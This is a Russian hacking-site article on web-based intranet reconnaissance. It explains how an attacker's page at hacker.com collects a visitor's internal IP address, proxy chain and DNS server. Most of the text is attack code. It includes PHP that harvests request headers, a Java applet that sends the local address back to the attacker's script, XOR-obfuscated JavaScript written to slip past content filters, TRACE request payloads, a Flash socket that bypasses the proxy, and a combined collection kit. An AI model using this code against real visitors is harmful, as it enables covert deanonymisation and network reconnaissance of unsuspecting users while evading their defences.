| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.222.161.245
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Взлом Web 2.0: проникновение в Intranet, определение IP
Специалисты сошлись во мнениях: сегодня безопасность корпоративных сетей находится под большой угрозой, хакерам удалось проникнуть за периметр локальных сетей. На сей раз из боевого арсенала они выбрали наиболее уязвимое звено в безопасности – веб-приложения.

По данным Web Application Security Consortium, исследования 2006 года показали, что более чем 85% веб приложений уязвимы к атакам XSS:



Статистика не рисует радужных перспектив для пользователей, в тоже время она не может не радовать хакеров. Используя XSS, хакеры могут внедрять свой код на чужие сайты с целью хищения данных клиентов. Помимо уже популярных сценариев с кражей личных данных, номеров кредитных карт, и т.д., сегодня стали популярными схемы проникновения в корпоративные сети клиентов средствами одних только веб технологий. Комбинации из PHP, JavaScript и Java превращают невинные веб-ресурсы в капканы для внутренних сетей больших корпораций. Именно об этом мы сегодня и поговорим…

Проникновение с использованием веб-технологий накладывает на нас определенные ограничения в выборе методов для атаки, а заложенная в них специфика требует применения изощренных техник. В ближайших статьях мы рассмотрим сценарии проникновения в корпоративные сети, сканирование сети и атаки на внутренние веб-сервера. А в этой части поговорим исключительно про определение характеристик внутренней сети. Эти данные окажутся нам полезными на втором этапе проникновения – сканировании сети.

Итак, наша цель определить - внутренний IP-адрес клиента, чтобы в дальнейшем иметь представление о маске сети. Допустим, что сотрудник компании зашел на страницу хакера: http://www.hacker.com/go2intranet.php . Первое и самое простое, что мы можем узнать о клиенте – это его внешний адрес.
Внешний адрес

Авторизация пользователя на сервере может осуществляется по многим критериям, это может быть идентификатор сессии в HTML-коде, содержимое данных cookie или же внешний IP-адрес клиента. В зависимости от задачи, разработчики выбирают наиболее подходящий им метод, но, независимо от этого, веб-сервер предоставляет им все имеющиеся данные. Для злоумышленника, в данном случае, представляет интерес внешний адрес клиента, который можно легко узнать средствами языка PHP.

В PHP собранная сервером информация хранится в массиве $_SERVER, сюда входят данные о самом сервере, активной странице и, собственно, о клиенте. Конкретно адрес клиента хранится в переменной REMOTE_ADDR, и если вы посетили страницу хакера, последний без труда вычислит ваш внешний IP:
echo 'Client ip: '. $_SERVER['REMOTE_ADDR'];
echo 'Client port: '. $_SERVER['REMOTE_PORT'];
echo 'Client dns: '. $_SERVER['REMOTE_HOST'];
?>

Как видно из примера, доступной также является информация о номере порта, через который браузер соединяется с веб-сервером и DNS-имя клиента. Последнее узнается через "Rreverse DNS lookup" относительно IP-адреса клиента. Допустим, мы получили следующий результат:

REMOTE_ADDR: 20.20.20.20
REMOTE_PORT: 37938
REMOTE_HOST: proxy.isp.com

Но что нам дает эта информация? Если разобраться, то не так уж и много. Для атаки на внутреннюю сеть этих данных менее чем достаточно, ведь внешний IP скорее всего не имеет никакого отношения к компании. Вероятнее всего, адрес принадлежит компании, предоставляющей доступ в Интернет…

В самом простом виде схему подключения корпоративного пользователя можно представить как цепь из 4-х систем:


Не считая систему клиента и сам веб-сервер (30.30.30.30), у нас остаются два участника: внутренний сервер компании и внешний сервер провайдера, предоставляющий доступ в Интернет. В прошлом примере мы узнали внешний адрес клиента, но это не его внутренний IP, это, вероятнее всего, адрес прокси-сервера провайдера. Можно делать догадки и точно определить его принадлежность, но такое расследование выходит за рамки этой статьи, мы же будем считать, что 20.20.20.20 - это сервер ISP.

На этом наши поиски не закончились, продолжим изучать переменную $_SERVER.
Маршрут

Кроме уже описанных данных, в переменных сервера могут храниться заголовки X-Forwarded-For и Via. Они являются служебными и формируются промежуточными серверами по мере транспортировки запроса. Эти поля в последующем используются для идентификации клиента, пославшего запрос, чтобы потом доставить ему ответ сервера.
echo 'X-Forwarded-for: '. $_SERVER['HTTP_X_FORWARDED_FOR'];
echo 'Via: '. $_SERVER['HTTP_VIA'];
?>



В результате мы получили:

X-FORWARDED-FOR: 192.168.10.5, 10.10.10.10
VIA: 1.1 proxy.intranet.com(squid/2.6.STABLE9), 1.0 proxy.isp.com(squid/2.6.STABLE9)

Эта информация уже более существенная, в ней даже присутствует локальный адрес клиента. Объединим полученные данные и посмотрим, что у нас получилось:


Теперь, нам известно, что proxy.isp.com действительно принадлежит провайдеру. Если посмотреть на значение VIA в заголовке, то видно, что пакет проходит через proxy.intranet.com, а уже потом через proxy.isp.com. Также можно добавить, что обе прокси работают по порту 3128 и используют squid 2.6.

Опираясь на значение X-Forwarded-For, мы определяем локальный адрес клиента (192.168.10.5), поскольку proxy.intranet.com лежит в той же подсети, его адрес будет 192.168.10.ХХ. Корпоративный прокси предоставляет доступ в сеть провайдера, в его подсети он имеет адрес 10.10.10.10. Больше про сеть провайдера мы не можем ничего сказать, но это и не важно, ведь наша - цель проникновение в корпоративную сеть.

Итак, мы нашли адрес клиента и имеем некоторую информацию о маршрутизации Интернет-трафика. Все наши сведения получены с помощью данных, хранящихся в заголовках запросов, но часто пользователи или провайдер пытаются скрыть эту информацию и блокируют передачу таких данных…
Java applet

В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.

Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается в том, что Java-код, находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;

public class javaSocket extends Applet {

// это структура, мы используем ее для хранения
// сетевой информации о хосте:
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}

// это служебная функция для демонстрации
// она выводит в Ява-консоль информацию про хост
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
// функция определяет адрес веб-сервера
public Host getHostBase(){
Host base = new Host();
// берем DNS-имя веб-сервера
base.name = getDocumentBase().getHost();
// порт, по которому он работает
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80; // на заметку: -1 = 80
base.ip = "unknown";
// создаем подключение к серверу по его DNS,
// чтобы получить IP-адрес сервера:
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip); // превращаем массив в строку
}catch(Exception e){ base.ip = "error"; };
return base;
}
// получаем локальный адрес клиента:
public Host getHostLocal()
{
// берем адрес сервера
Host base = getHostBase();
Host local = new Host();
try {
// создаем подключение к серверу:
Socket connection = new Socket(base.name, base.port);
// Это наше локальное имя:
local.name = connection.getLocalAddress().getHostName();
// Это наш адрес:
local.ip = connection.getInetAddress().getHostAddress();
// Это порт подключения:
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80; // это уже понятно :)
} catch(Exception e)
{
// если произошла ошибка, возвращаем хоть что-то:
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
// Инициализация:
public void init()
{
showHost("server", getHostBase() );
showHost("local", getHostLocal() );
}
}

Для исполнения аплета добавляем следующий код в наш скрипт go2intranet.php:
<applet code=javaSocket.class></applet>

Апплет выводит данные в консоль виртуальной машины Ява:






На практике он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение по определению клиентского IP-адреса, поэтому обработку данных оставим на потом.

Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета можно добавлять в документ на лету, используя JavaScript:
<script>
var code = [0,93,76,76,80,89,72,28,95,83,88,89,1,86,
93,74,93,111,83,95,87,89,72,18,95,80,93,
79,79,2,0,19,93,76,76,80,89,72,2];
var html="";
for(char=0;char<code.length;char++)
{
html += String.fromCharCode( code[char]^60 );
}
document.write(html);
</script>

Этот код идентичен с:
<applet code=javaSocket.class></applet>

Но будет считаться безопасным для систем контроля содержимого. Но что если у клиента отключена виртуальная машина Java?
Firefox и Java

У хакера есть еще вариант определить локальный IP клиента. Один из способов получить нужные нам данные - это использовать возможность доступа к java-классам из JavaScript в браузере Firefox. Такую особенность имеют также Opera и Netscape, первые сигналы о беде поступили еще в 2003 году, именно тогда были продемонстрированы примеры создания сокетов и чтения локальных файлов с использованием API ява-классов из JavaScript.

Для определения локального адреса клиента, как и в последнем примере, создается подключение к серверу через класс java.net.Socket, но уже из JavaScript:
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;
}

Этот метод предложил уже известный нам из прошлой статьи Jeremiah Grossman. Но он не стал оригинальным в этом плане. Оказывается, еще первооткрыватели данного метода подметили, что не обязательно создавать новое соединение, поскольку вы уже находитесь на странице и оно уже установлено:
function natIP() {
return java.net.InetAddress.getLocalHost();
}
Cross Site Tracing

Вернемся к заголовкам X-Forwarded-For и Via. Бывают такие случаи, что хакер не имеет возможности использовать PHP (или любой другой скрипт на стороне сервера). Такое может произойти, если он внедряет код на чужой сайт через ХSS, а формировать запросы к посторонним адресам не является возможным. В этой ситуации единственное доступное средство для хакера – JavaScript.

Атакующий может использовать объект XmlHttpConnection, для того чтобы делать POST- и GET-запросы на взломанный им сервер. У него также есть возможность добавлять свои заголовки в запрос, но X-Forwarded-For и Via генерируются прокси-сервером, а поэтому на момент подключения они неизвестны и доступны только веб-серверу. Как же узнать, какие данные получает сервер? Ответ на этот вопрос лежит в документации HTTP-протокола. Как описано в стандарте, помимо методов POST и GET, существуют и другие. Некоторые из них можно встретить лишь на бумаге, но есть и такие, которые могу помочь нам с решением данной задачи.

Для диагностических целей консорциумом был утвержден метод TRACE. Если сервер получает TRACE-запрос, он должен вернуть его клиенту как ответ. Использование этого метода в хакерских целях получила название XST (Cross site Tracing), который изначально использовался для чтения данных Cookie с флагом httpOnly. Хакер уже писал об этом, и вы можете самостоятельно с ней разобраться. До недавнего времени считалось, что уже нет возможности к его применению. Но в январе 2006 года Amit Klein опубликовал в Интернете пример его успешного использования:
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
</script>



В результате responseText содержит полный текст нашего запроса, который можно легко извлечь, чтобы получить исключительно нужные нам значения:
var headers = x.split('\n');

for(header in headers )
{
var breakAt = headers[header].indexOf(':');
var fieldName = headers[header].substring(0, breakAt);
var fieldValue = headers[header].substring(breakAt+1, headers[header].length);

headers[fieldName] = fieldValue;
}

alert(headers['X-Forwarded-For']);

Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах только Ява позволяет осуществить TRACE-запросы. Недавно Anurag Agarwal написал пример для Firefox, использующий java.net.socket для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);

wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();

Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via), атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но, как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?
Flash XMLSocket

Практически все программные средства, доступные из браузера, используют его настройки при сетевом обмене данными. Поскольку прокси-сервер настраивается в нем же, то все подключения должны делаться через него. Так оно и есть, за исключением некоторых объектов, которые игнорируют прокси сервер. Один из таких объектов - XMLSocket, реализованный во Flash.

Объект XMLSocket используется для обмена данными между Flash-приложением и сервером без использования прокси. Его реализация имеет ряд ограничений, самое существенное из которых - это требования к порту подключения. В целях безопасности номер порта должен быть больше 1024, поэтому у хакера должна быть возможность его прослушивать со стороны сервера. Также стоит заметить, что на сервере должен находиться файл policy.xml, позволяющий подключение по выбранному порту. В самом простом варианте он должен иметь следующее содержание:
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>

Такая конфигурация позволяет подключение с любого адреса по любому порту. Для примера будем считать, что хакер открыл порт 9000 (в Apache это делается добавлением LISTEN 9000) и настроил его так, что все полученные на него данные пересылаются на 80 порт (веб-сервер). В таком случае исходный код Flash будет иметь следующий вид:
s = new XMLSocket(); // создаем сокет

// настраиваем…
s.onConnect = handleConnect;

// подключаемся на порт 9000
s.connect(null, 9000);

// если подключились, имитируем GET-запрос к нашему скрипту
function handleConnect(success) {
if(success) {
s.send(“GET /go2intranet.php HTTP/1.1 \n”);
s.send(“Host: hacker.com\n”);
s.send(“\n\r”);
}
}

При успешном исполнении Flash инициирует подключение к серверу на 9000-й порт, минуя прокси-сервер, и тем самым раскроет реальный адрес клиента. Но не стоит забывать, что использование этого метода возможно только в тех случаях, когда хакер имеет права на редактирование конфигурации сервера. Если такой возможности у хакера нет, то у него еще остается шанс миновать прокси, используя java, которая позволяет посылать UDP-пакеты на сервер…
Metasploit Decloaking Engine

Очень хорошее решение нашей задачи предложил проект Metasploit. Демонстрация использует несколько вариантов тестирования, чтобы более точно определить сетевую конфигурацию клиента. Самое интересное в этом решении - это определение DNS-сервера провайдера, предоставляющего доступ в Интернет.







Идея достаточно проста и основана на специфике в реализации работы DNS. Когда клиент пытается подключиться к удаленному хосту xxx.hacker.com, ему необходимо определить IP-адрес для подключения. Для этого он посылает lookup-запрос к своему локальному DNS-серверу. Последний, в свою очередь, передает запрос на DNS-сервер хоста hacker.com, чтобы получить адрес для xxx.hacker.com. Но DNS-сервер хакера модифицирован, чтобы сохранять всю информацию о запросах: имя поддомена(xxx) и IP-адрес запросившего(DNS-сервер провайдера).

А теперь самое интересное. XXX – это идентификатор сессии клиента, например, 347205.hacker.com. Значит, если из адреса 50.50.50.50 поступил lookup запрос на 347205.hacker.com, то для пользователя, имеющего сессию 347205, DNS-сервер провайдера - это 50.50.50.50.

Инициировать такой запрос очень просто, достаточно сослаться на ресурс из домена, например, на изображение:
<img src=”http:// 347205.hacker.com/none.gif”>

В демонстрации от Metasploit так и делается. Но кроме этого, таким же образом создаются запросы из java. Политика безопасности в java блокирует создание подключения к другому хосту( hacker.com и 347205.hacker.com - это разные сайты), но DNS lookup все же происходит.
Комплексное решение

В зависимости от ситуации, хакер может применить те или иные методы. Каждый из способов специфичен, поэтому в некоторых случаях придется отказаться от некоторых из них. Например, вариант с использованием PHP будет работать даже через рисунок:
<img src=http://www.hacker.com/go2intranet.php>

Остальные проканают через подключение удаленного скрипта:
<script src=http://www.hacker.com/go2intranet.php></script>

Так может выглядеть PHP-код, объединяющий технику Ява-сканирования и получения информации из заголовков сервера:

session_start();

$url = 'http://0xfa60/go2intranet.php';

if( $_GET['method'] != '' )
{
// code here

if( $_GET['method'] == 'java' )
{
$_SESSION['java'] = $_GET['data'];
echo ( 'OK' );
}
else
{
echo( 'Java: ' . $_SESSION['java'] . '
' );
echo( 'X-Forwarded-For: ' . $_SESSION['forwarded'] . '
' );
echo( 'REMOTE_*: ' . $_SESSION['remote'] . '
' );
}
}
else
{
$url2save = $url . '?PHPSESSID=' . session_id();

echo('');
echo('');
echo('
');

list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2);
$_SESSION['forwarded'] = 'local,,' . $forwarded . ',';

$_SESSION['remote'] = 'local,' . $_SERVER['REMOTE_HOST']
. ',' . $_SERVER['REMOTE_ADDR']
. ',' . $_SERVER['REMOTE_PORT'];
};
?>

Таким будет код Java-апплета:
import java.applet.*;

import java.awt.*;
import java.io.*;
import java.net.*;

public class javaSocket extends Applet {

public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
public Host getHostBase(){
Host base = new Host();
base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;
base.ip = "unknown";
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip);
}catch(Exception e){ base.ip = "error"; };
return base;
}
public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();
try {
Socket connection = new Socket(base.name, base.port);
local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80;
} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}

public void saveHost(String local,Host host)
{
String url = getParameter("url2save");
String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;
try
{
URLConnection connection =
new URL(url + "&method=java&data=" + data ).openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream( ) ) );

char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024)) != -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println( contents );
}
} catch (Exception e) { }
return;
}
public void init()
{
showHost("local", getHostLocal() );
saveHost("local", getHostLocal() );
}
}

Все остальные комбинации оставляю для самостоятельной работы читателей. Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:
alert( navigator.javaEnabled() );

Для примеров под FireFox необходимо определять имя браузера:
alert( navigator.appName );

И в таком духе реализовать комплексную проверку.

Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.
















































Категория: Общие Статьи | Добавил: aka_kludge (22.05.2008)
Просмотров: 2628 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

20:08
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика